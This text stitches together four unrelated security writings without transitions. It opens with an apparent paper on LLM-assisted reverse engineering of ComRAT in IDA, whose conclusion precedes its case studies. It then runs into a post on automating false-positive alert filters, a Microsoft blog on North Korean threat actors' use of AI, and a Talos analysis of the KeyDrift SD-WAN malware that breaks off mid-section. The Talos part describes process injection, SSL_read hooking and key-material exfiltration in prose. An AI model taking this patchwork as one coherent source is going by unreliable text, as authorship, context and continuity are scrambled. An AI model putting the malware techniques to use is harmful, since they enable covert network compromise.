Our evaluation studies showed that models alone do not reliably produce attestable databases. Labels drift from what the code does, findings stay in logs, planned work disappears, and analysis stops before the relevant code has been read. The standard and VerifiedIDA respond by leaving the analytical judgment with the model and giving the system around it the job of keeping that judgment checkable. Our rerun of Case Study #2 shows the difference: the helper that six earlier runs skipped became work the model could not leave unfinished.

We are releasing both as a starting point. The requirements describe the minimum a model-driven workflow should provide, and our implementation covers a single disassembler. We invite the community to test the specification against their own tooling, build adapters for Ghidra and Binary Ninja, and push back on requirements that do not hold up. Where sharing is permitted, we also encourage researchers to publish annotated projects alongside their reports, so others can extend an analysis instead of repeating it.

This paper complements research we presented at LABScon 2026.

Case Studies

#1 | Recovering a Data Structure

Recovering data structures is routine reverse engineering work. At the memory level, a structure is a base address with fields at fixed offsets from it, where a field may be a complex data type itself. If the binary carries no debug symbols, it does not declare field offsets, types, and names, and these have to be recovered through analysis.

Two ComRAT functions, with the IDA default names sub_18002C770 and sub_18002CDA0, receive a pointer to a data structure as their parameter. IDA types these parameters as an integer.

The LLM typed the parameters as a pointer to a data structure, which it declared as follows.

The LLM approached the recovery of the structure in two stages. First, from the pseudocode of sub_18002C770, sub_18002CDA0, and the functions they invoke, it observed references to specific offsets from the function parameter value (the structure base address), concluding that the parameter is a pointer to a structure. It then widened the analysis to the rest of ComRAT's code, looking for references to the structure's fields wherever they occur. For each field it identified, it analyzed the context in which the field is used to propose a label, type, and size. 

This enabled the LLM to recover the full set of structure fields, and from their sizes the correct total size of the structure itself.

The strongest evidence the LLM had for typing a field was its use as a parameter to a Windows API function. Many Windows API functions are documented publicly and their parameter sets are relatively stable, so the types of these parameters are highly likely present in the model's training data. IDA may also expose these types in the pseudocode provided to the LLM since it auto-defines parameter types for many of these functions. The model could therefore determine field types from authoritative sources.

For example, the LLM observed that a pointer to the structure field at offset 0x30 is passed as the tenth parameter of CreateProcessW. Microsoft documents the type of this parameter as a pointer to a PROCESS_INFORMATION structure, and IDA's pseudocode shows the same type. The LLM used this information to correctly type the field as PROCESS_INFORMATION.

The LLM did not produce annotations that its analysis did not support. For example, it found no use of the field at offset 0x28 within the functions under analysis and did not label the field after an invented role. Instead, it flagged the finding and decided to explore ComRAT's code further to establish the field's role. It found no use of the field anywhere in ComRAT and labeled it unresolved_28. Our own analysis confirms that the field is indeed never used.

However, several structure field and function labels produced by the LLM are inaccurate, since they do not describe what they should: the role a field plays in the code or the primary operation a function performs. For example, the LLM labeled the field at offset 0x28 unresolved_28, naming its own analytical state rather than the role of the field, or the lack thereof. The label is also ambiguous, because it does not distinguish a field that has not been examined from one that has been examined and found to be unused. In the case of this field, a name such as unused would be more appropriate.

The LLM also named the function sub_18002C770 PrepareSuspendedSurrogateProcess, although the function’s primary operation is the creation of a browser process in a suspended state. The LLM’s label does not indicate process creation at all, and Prepare suggests work that precedes a later step rather than the function’s primary operation. The LLM’s free-text description of the function (“Create the configured surrogate process before proxy injection”) shows that the model had identified the primary operation. The description leads with it and treats the injection that follows as context, whereas the label PrepareSuspendedSurrogateProcess keeps only the context and leaves out the process creation. A human reverse engineer would be more likely to apply a label such as CreateSuspendedBrowserProcess, which is more descriptive and more accurate in the context of the task.

Beyond inaccurate labels, the LLM did not record all of its findings in the IDA database, as the annotation of the structure field at offset 0x0 demonstrates. This field is a pointer to a structure, which holds data associated with a log writing mechanism, and the LLM logs show that the model identified the field as such.

However, in the IDA database, the LLM typed this field as a generic void pointer and labeled it owner_context rather than something closer to its role, such as LogWriter. The LLM had established the type and role of the field but did not translate these findings into IDA database annotations.

#2 | Analyzing a Function’s Behavior

A ComRAT function, with the IDA default name sub_180077C10, retrieves by name the address of a function exported by a dynamic link library (DLL) loaded in a remote process. If the export is forwarded to another DLL, the function resolves the address of the forwarded export recursively.

The LLM labeled this function ResolveRemoteExportAddress, correctly expressing its primary operation. As in Case Study #1, the strongest evidence the LLM relied on was the Windows API calls the function invokes. ResolveRemoteExportAddress also compares values against publicly documented constants, which provided the LLM with further authoritative evidence of the function’s operation.

For example, from the ReadProcessMemory calls, the LLM established that the function reads memory in the address space of a remote process. From the comparisons against the MZ (0x5A4D) and PE (0x4550) signature constants, the model determined that the function looks for Windows PE (Portable Executable) headers. Because the PE format is publicly documented and highly likely present in the model’s training data, the offsets into these headers visible in the pseudocode enabled the model to identify which of the DLL’s PE structures the function reads, such as its export directory and the array of names of its exported functions.

The LLM's free-text description, “Resolve an exported function address in a remote module from its PE export directory”, is accurate but incomplete, since it does not account for the resolution of forwarded exports.

If an export is forwarded to another DLL, sub_180077C10 (ResolveRemoteExportAddress) calls sub_180081450, which resolves the address of the forwarded export. Treating its understanding of sub_180077C10 as complete, the LLM labeled and described the function without exploring all of its callees, including sub_180081450. The capability implemented by sub_180081450 therefore remained unidentified.

A modern organization protects its information systems with a whole suite of technologies that generate thousands of security alerts every day. Looking at these alerts in bulk, you’ll see that a significant share are false positives. Ideally, these alerts would be filtered out automatically so that analysts could focus on the ones that may point to a real incident. However, writing filters is a time-consuming task in itself. To create a correct filter, an analyst needs to:

• Review the logs
• Identify the source of the activity
• Define filtering boundaries
• Choose filtering criteria
• Write a rule
• Check that the filter is robust

This post looks at how filter creation itself can be automated to reduce analyst workload.

Filter validity criteria

In the context of security alerts, a filter is a combination of event field values that marks a detection as a false positive and not worth the analyst’s attention. Filters can be generated for any combination of event fields, but not every combination yields a valid filter. That’s why we need to define validity criteria: conditions showing that a specific filter actually removes noise and doesn’t suppress useful alerts.

Detection rules in security systems typically contain a set of conditions, and each of them can generate an alert. A specific event triggers a given fragment of a detection rule. The set of events that a given fragment responds to is what we’ll call its context. A good filter should cover the entire context where possible, without going beyond it. Filters that are too broad or too narrow are useless. For example, a filter based solely on PowerShell would exclude too many events, including some that deserve the analyst’s attention. Most of the filtered events would also be unrelated to the rule in question. A filter on a specific ID, on the other hand, would cover only one event, which may never recur.

Problems in filter generation

We can run into a number of problems when creating filters. First, events often contain an excessive number of fields (around 400 on average), and most of them aren’t needed for filtering. At the same time, generating and ranking combinations of these fields is also fairly resource-intensive. So, the first step is to discard the irrelevant fields and keep only those worth using in the filter. For example, out of 400 fields in an event, four may be enough for filtering.

Another problem is string normalization. Field values (for example, the path to the same application on different systems) can vary depending on system settings, user folder names, and so on. For a filter to account for all these variations, the strings must be normalized. For file paths, in particular, you can replace the drive letter and user folders with standard environment variables and convert all paths to a single case.

Finally, if a filter completely mirrors the query of a detection rule, it effectively disables that rule. To fix this, remove the event fields used in the detection rule from the filter. For example, if a rule triggers on a file path, there are two ways to filter out unwanted alerts:

• In the filter, use fields other than the file path.
• Use a part of the file path that the rule doesn’t use. For example, for the rule file_path: ".../something.exe", you can set up a filter that excludes events with the user/unique_files/ directory in the file path.

Filtering security alerts with an algorithm

Given the problems described above, automatically generating filters for security alerts should consist of the following steps:

1. An analyst receives a security alert that they assess as a false positive and uses the filter generator.
2. The generator takes the 400-field event from the alert, along with the rule that triggered on it, and determines the context.
3. The generator selects the fields that are relevant to the filter.
4. The generator normalizes the strings.
5. The generator builds different combinations of the selected fields. To do this, we applied the FP-Growth (frequent pattern growth) algorithm to the context determined earlier. FP Growth builds a tree of frequently occurring items (fields) from a dataset (in our case, the context) and discards items that aren’t frequent enough. This reduces the number of combinations to check, which lowers the cost of finding the most relevant ones.
6. The generator ranks the resulting combinations and offers the analyst the top three to choose from.

For example, consider an event described by the following JSON:

After generating and ranking the combinations, we got three filters based on file paths:

• processcmdline:("nodejs\\node.exe" AND "*****\\appdata\\roaming\\npm\/node_modules\/pi-coding-agent\/dist\/cli.js")

• file_path:"*****/.pi\\agent\\bin\\fd.exe"

• processcmdline: "programfiles\\nodejs\\node.exe"

The last filter turned out to be too broad, but the analyst marked the other two as valid.

Pros and cons of the algorithmic approach

The algorithmic approach to filter generation has several advantages. First, it’s simple and deterministic: the same alert always produces the same result. Second, it’s interpretable, meaning we can see why a given combination ranked near the top of the list and why a particular field didn’t make it into the list of candidate fields at all. Third, the stages of the process are independent of each other, so individual steps can be improved and tuned without the risk of breaking the algorithm elsewhere. Finally, it has no external dependencies or models, which makes it easy to deploy in any customer environment.

However, it also has drawbacks. The first is its dependence on context. If there’s no context for some reason — for example, the rule’s first-ever trigger — a filter can’t be created. The second problem is string normalization. There’s a high chance of running into atypical cases that the normalization rules don’t cover. Often such cases can’t be described correctly at all, because they contradict each other.

These problems can be solved with large language models (LLMs). When an LLM generates the filters, no context is needed, because the LLM doesn’t iterate over or rank combinations. The LLM also takes a more flexible approach to string normalization, including non-standard cases. That said, an LLM doesn’t have to be involved at every stage of the generation process. We decided to keep the algorithmic solution where it works well. For example, a simple algorithm selects suitable fields without errors, so we didn’t move this stage to the model.

Filter generation with an LLM

The LLM-based filter generation looks like this:

The input is still an alert containing an event with 400 fields, plus the rule that triggered on that event. Then an algorithm selects the most suitable fields for the filter. Next, the LLM processes the input — the event, the selected fields, and the detection rule — and generates three filter options along with an explanation for them. The explanation helps the analyst understand why these particular filters were suggested and make an informed choice.

Consider the following event in JSON format:

The LLM suggested three filter options that all contain the same command line fragment:

• file_path: "\\WindowsPowerShell\\powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

• filecmdline: "Get-VM -Name kafka\*"

• filecmdline: "kafka*"

As in the previous example, two of the three output filters were valid. The last one was too broad to be usable. The analyst chose the first filter with minor edits:

file_path: "powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

Pros and cons of generating filters with an LLM

Using an LLM solved the problems of purely algorithmic filter generation: dependence on context and errors in string normalization. However, the single-request approach had its own drawbacks. First, it had no output validation. The LLM returned filters as-is, with no syntax check and no way to correct errors. Second, unlike in the algorithmic version, all filter generation tasks were handled by a single system prompt. As a result, a minor fix in one place could break the logic in another.

Using multiple AI agents

To address the problems of generating filters with a single model and a single system prompt, we tried distributing the tasks across different LLM agents. In this version, we brought in agents as early as the stage of selecting relevant fields. The chain includes four agents in total:

• Selector: selects the relevant fields.
• Generator: generates filters.
• Validator: evaluates the generated filters. If the filters are found to be invalid, it returns the task to the generator. If the selected fields are found to be irrelevant, it starts a new field selection cycle. If the filters pass validation, or the limit on regeneration attempts is reached, the valid filters (or the best ones available) are passed to the analyst.
• Commentator: analyzes the output filters and explains which field values were used and why.

For the following JSON event, the agents produce three valid filters based on the file path.

The filters differ in the additional parameters that support the detection:

• file_path:"sysvol\\domain\\scripts\\logon.bat"

• file_path:"sysvol\\domain\\scripts\\logon.bat" AND file_md5:"0x7..6E"

• autorun_entry: "Group Policy\\State" AND file_path: "SYSVOL\\domain\\scripts\\logon.bat"

Pros and cons of the agent-based approach

LLM agents give us a system that can validate and correct filters. Its modular architecture also lets us tune and improve different stages of generation independently. However, this approach makes more LLM calls than the previous ones, so the system is slower. It also depends on access to a model, which may not be available in the organization’s isolated environment.

Evaluating the filter generation system

To evaluate how well the filter generation system works, we use two main metrics:

• Approval rate. For each security alert, the system suggests three filters. If the analyst selects at least one of them, we count the generation as successful. For example, in the case below, the approval rate is 2/3.
  
• False positive reduction rate (FP drop). This metric shows how much a filter helps reduce the number of false positives. It can only be measured over time, because we need to compare the number of false positive alerts received during a set period before and after the filter is deployed.

Below is a comparison of the three filter generation approaches by these metrics:

As the results show, LLMs significantly improve the efficiency of filter generation. At the same time, the LLM agentless and agent-based approaches perform almost identically. So we chose the simpler and faster option: an LLM with a single system prompt. As a result, we cut false positives by 99%, increased the number of filters generated per day by 28%, and made analysts’ alert handling 17% more efficient.

Takeaways

Practice has shown that filter generation can be automated effectively. We’ve looked at several options for automatically generating filters for false-positive security alerts: a purely algorithmic approach, an LLM-based approach, and an approach built on a group of LLM agents. All of them can generate valid filters and make the analyst’s work much easier, but each has its own pros and cons.

The algorithmic approach scored lower on the evaluation metrics, but in two-thirds of cases, it still produces filters that satisfy the analyst. It works especially well when there’s already a set of similar events to filter out, meaning enough context has accumulated. The algorithmic generator can also be deployed in any environment. Both standalone LLM and multi-agent LLM approaches show high accuracy, and their results differ only slightly, so the slower agent-based approach looks excessive at this stage. If an LLM is available, the best option appears to be a single model that handles several stages of the generation cycle.

As Microsoft Threat Intelligence continues to track how threat actors operationalize AI to increase the speed, efficiency, and complexity of attacks, we’ve identified North Korean threat actors expanding their use of AI with varying levels of adoption. Threat actors use AI as a force multiplier across their operations, particularly to accelerate and scale established workflows.

Recent activities illustrate this AI-enabled acceleration and scaling: Jade Sleet launched campaigns through three front companies in a single week, Onyx Sleet generated dozens of tailored lures in minutes, Coral Sleet rapidly built a new capability to trojanize private source code repositories, and Diamond Sleet used AI to enhance tailored targeting workflows, including persona development and front company creation. Further, Onyx Sleet and Pearl Sleet are leveraging the open-source agentic AI penetration testing framework ARTEX to conduct operations, further indicating North Korea’s willingness to quickly adopt new AI technologies for their operations.

The Democratic People’s Republic of Korea operates under extensive international sanctions and uses cyber operations and other illicit mechanisms to evade these restrictions and advance state objectives. Within this operating environment, North Korean threat actors have adopted new technologies that help sustain or advance existing operations. AI adoption by North Korean threat actors therefore largely supports existing goals and targeting priorities rather than representing a shift in actor motivations. North Korean threat actors conduct cyber operations primarily to generate revenue for the regime, collect strategic intelligence, and, in some cases, pursue politically motivated disruptive or destructive objectives. Across these objectives, North Korean threat actor tradecraft remains grounded in social engineering, malware delivery, and the abuse of legitimate tools. These operations commonly target cryptocurrency and financial organizations, information technology companies and software supply chains, government entities, and education-related organizations. Despite threat actors’ adoption of AI, Microsoft Threat Intelligence assesses that AI-enabled operations remain human-directed and have not become fully autonomous.

Microsoft Threat Intelligence assesses the overall adoption of AI across North Korean threat actors as high, with threat actors such as Jade Sleet, Coral Sleet, and Jasper Sleet demonstrating an established use of AI across all operational workflows, alongside increasing adoption across the broader North Korean threat actor set. This blog breaks down how North Korean threat actors are utilizing AI across their operations, reflecting a broader trend of threat actors incorporating AI into their attack chains. We also provide mitigation guidance and Microsoft Defender detections to help organizations defend against these threats.

Stages of AI adoption by North Korean threat actors

North Korean threat actors are increasingly integrating generative and agentic AI platforms into their operations, but the rate and maturity of adoption vary. Based on identified AI use, Microsoft Threat Intelligence assesses high-impact North Korean threat actors across four stages of adoption: emerging, expanding, accelerating, and operationalized. Across these actors, AI use spans research, content generation, development, malware and tooling, infrastructure, and broader operational activities.

Operationalized: Threat actors at this stage have embedded AI into routine operational workflows, using it as an established part of their existing processes. Microsoft Threat Intelligence assesses that the North Korean threat actors Jade Sleet, Coral Sleet, and Jasper Sleet have operationalized AI across their entire operations, which frequently encompass identity-based attacks built on deceptive social engineering. These attacks can be accelerated with AI capabilities that tailor lures or personas to the intended audience.

Accelerating: Threat actors at this stage demonstrate rapid adoption of AI across multiple operational functions. Microsoft Threat Intelligence assesses that Diamond Sleet, Onyx Sleet, Pearl Sleet, and Sapphire Sleet are at the accelerating stage of AI adoption.

Expanding: Threat actors at this stage are expanding their use of AI across selected operational activities, but adoption is not yet embedded across broader workflows. Microsoft Threat Intelligence assesses that Emerald Sleet is at the expanding stage of AI adoption. While evidence suggests Emerald Sleet has incorporated AI into some workflows, Microsoft Threat Intelligence has not identified the same level of adoption and impact as other North Korean threat actors.

Emerging: Threat actors at this stage demonstrate limited or experimental use of AI. At this time, Microsoft Threat Intelligence has not assessed any North Korean threat actors as operating at the emerging stage.

AI use across North Korean threat operations

Microsoft Threat Intelligence has identified North Korean threat actors using AI platforms to support a range of operational activities, from reconnaissance to developing social engineering content, maintaining fraudulent identities, supporting tool development, and scaling repetitive operational tasks. Current evidence indicates that these actors primarily use AI to enhance existing tradecraft and operator productivity rather than to enable autonomous operations. Microsoft Threat Intelligence has identified North Korean threat actors leveraging the following AI-enabled tactics as part of their threat operations.

AI-assisted targeting and reconnaissance

Based on industry reporting and changes in targeting activity in 2026, North Korean threat actors are scaling reconnaissance capabilities by using generative AI platforms, including gathering information on target organizations prior to launching social engineering operations. Microsoft Threat Intelligence has identified that these actors:

• Research organizations and employees, then use information from this research to craft highly bespoke and convincing lures, target-specific infrastructure, and job applications
• Research wallets, exchanges, and decentralized finance (DeFi) and blockchain workflows, accelerating the development of domain knowledge needed to support targeted operations
• Explore vulnerabilities, APIs, security products, and cloud services, leading to a demonstrated change in the speed and sophistication of threat activity against specific technologies
• Research software development roles, job requirements, and technology organizations to support job searching, resume development, and persona alignment, resulting in rapid tailored persona or lure creation, application to newly posted job roles, or spear-phishing operations

For example, between June 8 and June 12, 2026, Microsoft Threat Intelligence identified Jade Sleet conducting job-themed targeting against individuals across various organizations, including those involved in cybersecurity, AI, blockchain, and talent recruitment companies. The actor leveraged tailored domains, social media profiles, and industry-specific knowledge to pose as recruiters for a spoofed AI-powered blockchain intelligence company, using software engineer-themed opportunities to initiate contact and schedule interviews with individuals who engaged with the outreach. Within this short time frame, Jade Sleet conducted similar job-themed targeting using two additional front companies, supported by comparable infrastructure and relevant domain knowledge. Microsoft Threat Intelligence assesses that the pace and breadth of this activity demonstrate how Jade Sleet is using generative AI to accelerate operational workflows, including rapidly developing target- and industry-specific knowledge, tailoring reconnaissance and targeting, and scaling outreach to target individuals.

Jasper Sleet also continues to leverage generative AI platforms to build fake digital personas. The actor’s suspected use of generative and agentic AI-assisted resume workflows demonstrates an improvement in the speed, scale, and relevance of persona preparation over the past year. Identified application activity indicates that the actor has invested in repeatable tooling to support employment-themed operations, ultimately helping the actor scale application activity and interact more credibly with the hiring processes of impacted organizations.

Since August 2026, Microsoft Threat Intelligence has observed Diamond Sleet returning to targeting the oil and gas sector for the first time since 2023, expanding their focus on communications and internet policy-related organizations, and continuing to target defense-related organizations. Further, Diamond Sleet has created fake communications technology companies, complete with supporting websites and tailored personas, to target telecommunications companies under the guise of legitimate business partnerships. These shifts have occurred alongside Diamond Sleet’s increased use of generative AI platforms to support reconnaissance and technical development, suggesting that AI could be improving the efficiency of existing operational workflows.

AI-assisted social engineering and identity deception

Several North Korean threat actors leverage job-themed social engineering techniques to gain access to target environments. For example, Sapphire Sleet, Jade Sleet, and Coral Sleet use employment- and interview-themed social engineering to target users and organizations, while Jasper Sleet uses fraudulent identities to obtain legitimate remote employment. These actors leverage AI to improve the process of creating convincing lures, aid in the development of fake personas, and evade detection when interacting with targets. Specifically, these actors use AI to:

• Produce tailored phishing, recruiter, and investment lures
• Create job-themed payload-delivery content and malicious repository lures
• Translate content and adjust tone to support foreign-language impersonation and more natural communications
• Build resumes, biographies, and realistic interview responses
• Support coding assessments, job-related tasks, and the management of multiple worker personas
• Enhance profile images and other identity artifacts
• Alter profile images, video, voice, and backgrounds
• Sustain recruiter, developer, investor, and other social identities across interactions and platforms

Microsoft Threat Intelligence has identified over 100 PDF lure files attributed to Onyx Sleet that were created in August and September 2026 with target-specific details. Metadata indicated that the actor created dozens of files at a time in rapid succession within minutes, highly likely to be the output of an AI platform. This automation supports the actor’s high-volume phishing campaigns against South Korean users and could make disruption and detection efforts more difficult given the rapid regeneration or modification of additional lures.

Microsoft Threat Intelligence has also identified possible synthetic media generation, focused on AI-created voice and video, by Emerald Sleet. While we have not been able to determine the full operational impact of such tooling, it is highly likely that synthetic media creation is valued by multiple North Korean threat actors, as it significantly enhances existing social engineering capabilities.

AI-assisted software and tooling development

Microsoft Threat Intelligence has identified evidence indicating that North Korean threat actors are leveraging AI-enabled software and tools to assist in malware development. These tools include AI-assisted development platforms, such as Cursor, which have likely enabled Jade Sleet, Coral Sleet, Pearl Sleet, and Sapphire Sleet to:

• Generate, convert, debug, and refactor code
• Assist with scripts, commands, persistence mechanisms, and obfuscation
• Troubleshoot errors and help operators diagnose tool behavior
• Support the adaptation or reimplementation of functionality across languages, libraries, and environments

Additionally, AI-enabled development cycles further allow threat actors to circumvent detection and blocking efforts, as AI platforms streamline retooling, helping enable threat actors to rapidly pivot in reaction to defensive measures.

For example, Microsoft Threat Intelligence has identified evidence indicating that Sapphire Sleet, who has conducted several supply chain attacks, likely incorporated AI during the August 2026 Rust software compromise. The activity spanned from initial stages targeting Rust developers to development and deployment of malware. Notably, Sapphire Sleet’s malware in this campaign was a marked improvement compared with other attributed campaigns, as the malware used dynamic .NET compilation during post-exploitation, most likely for defense evasion.

And, since April 2026, Coral Sleet has operationalized a workflow to trojanize private GitHub repositories, integrating them into their existing malware chain. This new capability, its breadth and scale, and its rapid implementation were highly likely engineered using an AI-enabled development platform.

AI-assisted operational scaling and analysis

North Korean threat actors are leveraging AI platforms to scale and manage diverse operations. For example, Jasper Sleet’s AI tooling helps maintain consistent communication and performance across multiple fraudulent worker personas. We have also seen evidence of AI use for automating repetitive tasks, summarizing collected information from victim organizations, and accelerating post-compromise decision making while human operators likely continue to direct intent and objectives. This operational adoption extends to emerging agentic AI technologies. Since late October 2026, Microsoft Threat Intelligence has identified Onyx Sleet and Pearl Sleet leveraging open-source agentic AI penetration testing ARTEX in operations, highlighting how North Korean threat actors are adopting new AI technologies as they become available.

Mitigation and protection guidance

Threat actor misuse of AI accelerates risk across enterprise environments by amplifying existing threats such as phishing, malware threats, and insider activity. To help organizations stay ahead of AI-enabled threat activity, Microsoft has introduced the Security Dashboard for AI. The dashboard provides users with a unified view of AI security posture by aggregating security, identity, and data risk across Microsoft Defender, Microsoft Entra, and Microsoft Purview. This allows organizations to understand what AI assets exist in their environment, recognize emerging risk patterns, and prioritize governance and security across AI agents, applications, and platforms. To learn more about the Microsoft Security Dashboard for AI see: Assess your organization’s AI risk with Microsoft Security Dashboard for AI.

Additionally, Microsoft Agent 365 serves as a control plane for AI agents in enterprise environments, allowing users to manage, govern, and secure AI agents and workflows while monitoring emerging risks of agentic AI use. Agent 365 supports a growing ecosystem of agents, including Microsoft agents, broader ecosystems of agents such as Adobe and Databricks, and open-source agents published on GitHub.

As the AI-enabled operations conducted by North Korean threat actors vary across tactics, techniques, and procedures (TTPs), the following guidance can help organizations harden their networks against multiple classes of threats.

Vulnerability and exposure management

• Use Microsoft Defender Vulnerability Management to identify, assess, remediate, and track vulnerabilities across critical assets. Use the exposure score to reduce your vulnerability exposure and the Microsoft Secure Score to identify and remediate security misconfigurations in your environment.
• Use a perimeter scanning tool like Microsoft Defender External Attack Surface Management to understand your organization’s digital footprint and potential attack surface. Targeting web-facing vulnerabilities continues to be one of the most effective attack methods for initial access.
• Ensure any web-facing systems are isolated from the public internet with a secure network boundary and access them with a virtual private network (VPN). If certain servers must be accessible on the public internet, position them behind a web application firewall (WAF), reverse proxy, or perimeter network (also known as a DMZ), which can reduce the risk of vulnerability exploitation in some cases.
• Consider automating patching where possible. Windows Update client policies offer automated patching, which can greatly reduce the amount of time IT admins must spend identifying, configuring, and deploying updates.
• To help manage infrastructure distributed across cloud, on-premises, and hybrid networks, use a centralized patching solution like Azure Update Manager.

Protecting against social engineering and phishing

• Educate users about protecting personal and business information on social media, filtering unsolicited communication, identifying lures in spear-phishing emails and watering holes, and reporting reconnaissance attempts and other suspicious activity.
• Educate users about preventing malware infections, such as ignoring or deleting unsolicited and unexpected emails or attachments sent through instant messaging applications or social networks.
• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages.
• Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.

Vetting potential employees

• Exercise greater scrutiny for employees of staffing companies, since this is the easiest avenue for North Korean workers to infiltrate target companies.
• Check to make sure a potential employee’s social media/professional accounts are not highly similar to the accounts of other individuals. In addition, check that a contact phone number listed on a potential employee’s account is unique and not also used by other accounts.
• Scrutinize resumes and background checks for consistency of names, addresses, and dates. Consider contacting references by phone or video-teleconference rather than email only.
• Search whether a potential employee is employed at multiple companies using the same persona.
• Ensure the potential employee is seen on camera during multiple video telecommunication sessions. If the potential employee reports video and/or microphone issues that prohibit participation, this should be considered a red flag.
• Confirm the potential employee has a digital footprint. This includes a real phone number (not VOIP), a residential address, and social media accounts.

Defending against malware

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants.
• Ensure Microsoft Defender Antivirus definitions are up to date and real-time protection is turned on.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.
• Enable network protection in Microsoft Defender for Endpoint.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by users with administrator rights, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
  • Block executable content from email client and webmail
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion
  • Block execution of potentially obfuscated scripts
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the activity and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Threat actors operationalizing AI
• Actor profile: Coral Sleet
• Actor profile: Diamond Sleet
• Actor profile: Emerald Sleet
• Actor profile: Jade Sleet
• Actor profile: Jasper Sleet
• Actor profile: Onyx Sleet
• Actor profile: Pearl Sleet
• Actor profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Tracking AI adoption in North Korean threat actor tradecraft appeared first on Microsoft Security Blog.

• Cisco Talos has identified UAT-11473, a highly sophisticated advanced persistent threat (APT) actor, who exploited CVE-2026-20127, an authentication bypass vulnerability in Cisco SD-WAN Catalyst Controller instances to bypass authentication and gain unauthorized access to affected systems.
• UAT-11473 then installed a custom malware framework we track as “KeyDrift” consisting of multiple components geared towards collecting sensitive keying information, acting as backdoors and intermediate command-and-control (C2) hosts.
• Observed targeting spans across space and satellite services, defense and aerospace technology, and policy research.

Talos assesses with high confidence that UAT-11473’s operating infrastructure overlaps considerably with Volt Typhoon’s “Silent Train” covert access network.

KeyDrift is a custom malware framework that is designed to operate in Cisco SD-WAN controller environments. Talos assesses with high confidence that the framework is designed to provide long-term persistent access and automated exfiltration of sensitive keying material. KeyDrift operates inside SD-WAN control-plane processes and is capable of intercepting decrypted control traffic, extracting control-session metadata and data-plane keying material, and staging or transmitting the collected material using encrypted records.

The framework's primary component is PolyFlame, a memory-resident module deployed through modified runit service paths. PolyFlame is injected into legitimate running vdaemon processes, and it can also masquerade as a packed “aaamgrd” loader variant. Once resident, PolyFlame interposes socket, DTLS, and runtime-linker behavior through functions such as recvfrom, sendto, getpeername, dlopen, dlsym, mprotect, and “/proc/%d/maps” parsing. This gives KeyDrift access to SD-WAN control-plane traffic from inside legitimate controller daemon execution rather than through a conventional endpoint beacon.

LittleFilch, another component of the KeyDrift framework, provides the collection and exfiltration capability identified in the framework. The module hooks “SSL_read” inside vdaemon, inspects decrypted control-plane buffers, extracts keying material for a list of predefined edge nodes, and stages the data locally in encrypted format for exfiltration.

Talos assesses with high confidence that KeyDrift's intended operational purpose is Cisco SD-WAN control-plane collection: persistent controller residence, in-band traffic access, key-material extraction from decrypted control messages, and encrypted staging or exfiltration of the recovered material. Observed variations of the KeyDrift modules and deployment mechanisms suggest active development of the framework’s capabilities.

KeyDrift analysis

KeyDrift uses Cisco SD-WAN runit service paths as its primary execution anchor. In the PolyFlame sshd deployment, the actor modifies the service run script, remounts /rootfs.rw executable, launches a malicious script “conf_sshd” in the background, and then starts the legitimate sshd service. The loader script enumerates running vdaemon PIDs, records them in “/tmp/system-vdaemon”, and invokes the injector component “rsshd” to inject PolyFlame (“libdssl.so”) into each process.

